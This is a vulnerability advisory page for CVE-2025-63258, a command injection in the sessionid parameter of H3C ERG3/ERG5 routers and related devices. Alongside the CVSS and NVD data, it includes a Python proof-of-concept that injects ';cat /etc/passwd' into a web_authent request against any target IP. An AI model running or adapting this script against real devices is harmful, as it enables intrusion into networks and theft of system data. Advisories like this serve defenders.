Security Vulnerability Report
中文
CVE-2025-63258 CVSS 6.5 MEDIUM

CVE-2025-63258

Published: 2025-11-18 17:16:08
Last Modified: 2026-04-15 00:35:42

Description

A remote command execution (RCE) vulnerability was discovered in all H3C ERG3/ERG5 series routers and XiaoBei series routers, cloud gateways, and wireless access points (versions R0162P07, UAP700-WPT330-E2265, UAP672-WPT330-R2262, UAP662E-WPT330-R2262P03, WAP611-WPT330-R1348-OASIS, WAP662-WPT330-R2262, WAP662H-WPT330-R2262, USG300V2-WPT330-R2129, MSG300-WPT330-R1350, and MSG326-WPT330-R2129). Attackers are able to exploit this vulnerability via injecting crafted commands into the sessionid parameter.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

H3C ERG3系列路由器 < R0162P07
H3C ERG5系列路由器 < R0162P07
H3C XiaoBei系列路由器
H3C云网关
H3C UAP700-WPT330-E2265 < UAP700-WPT330-E2265
H3C UAP672-WPT330-R2262 < UAP672-WPT330-R2262
H3C UAP662E-WPT330-R2262P03 < UAP662E-WPT330-R2262P03
H3C WAP611-WPT330-R1348-OASIS < WAP611-WPT330-R1348-OASIS
H3C WAP662-WPT330-R2262 < WAP662-WPT330-R2262
H3C WAP662H-WPT330-R2262 < WAP662H-WPT330-R2262
H3C USG300V2-WPT330-R2129 < USG300V2-WPT330-R2129
H3C MSG300-WPT330-R1350 < MSG300-WPT330-R1350
H3C MSG326-WPT330-R2129 < MSG326-WPT330-R2129

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-63258 PoC - H3C Router Command Injection # Target: H3C ERG3/ERG5 series routers # Vulnerability: Command injection via sessionid parameter def exploit(target_ip, target_port=80): """Exploit command injection vulnerability in sessionid parameter""" # Construct malicious payload with command injection # Using semicolon to chain commands inject_cmd = ";cat /etc/passwd" # Example: read passwd file url = f"http://{target_ip}:{target_port}/web_authent" # Malicious sessionid parameter with command injection params = { "sessionid": inject_cmd, "username": "admin", "password": "admin" } try: print(f"[*] Sending exploit to {target_ip}:{target_port}") print(f"[*] Payload: {inject_cmd}") response = requests.get(url, params=params, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") if response.status_code == 200: print("[+] Exploit sent successfully") print("[*] Check response for command output") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63258", "sourceIdentifier": "[email protected]", "published": "2025-11-18T17:16:08.183", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A remote command execution (RCE) vulnerability was discovered in all H3C ERG3/ERG5 series routers and XiaoBei series routers, cloud gateways, and wireless access points (versions R0162P07, UAP700-WPT330-E2265, UAP672-WPT330-R2262, UAP662E-WPT330-R2262P03, WAP611-WPT330-R1348-OASIS, WAP662-WPT330-R2262, WAP662H-WPT330-R2262, USG300V2-WPT330-R2129, MSG300-WPT330-R1350, and MSG326-WPT330-R2129). Attackers are able to exploit this vulnerability via injecting crafted commands into the sessionid parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "http://h3c.com", "source": "[email protected]"}, {"url": "https://zhiliao.h3c.com/Theme/details/232571", "source": "[email protected]"}]}}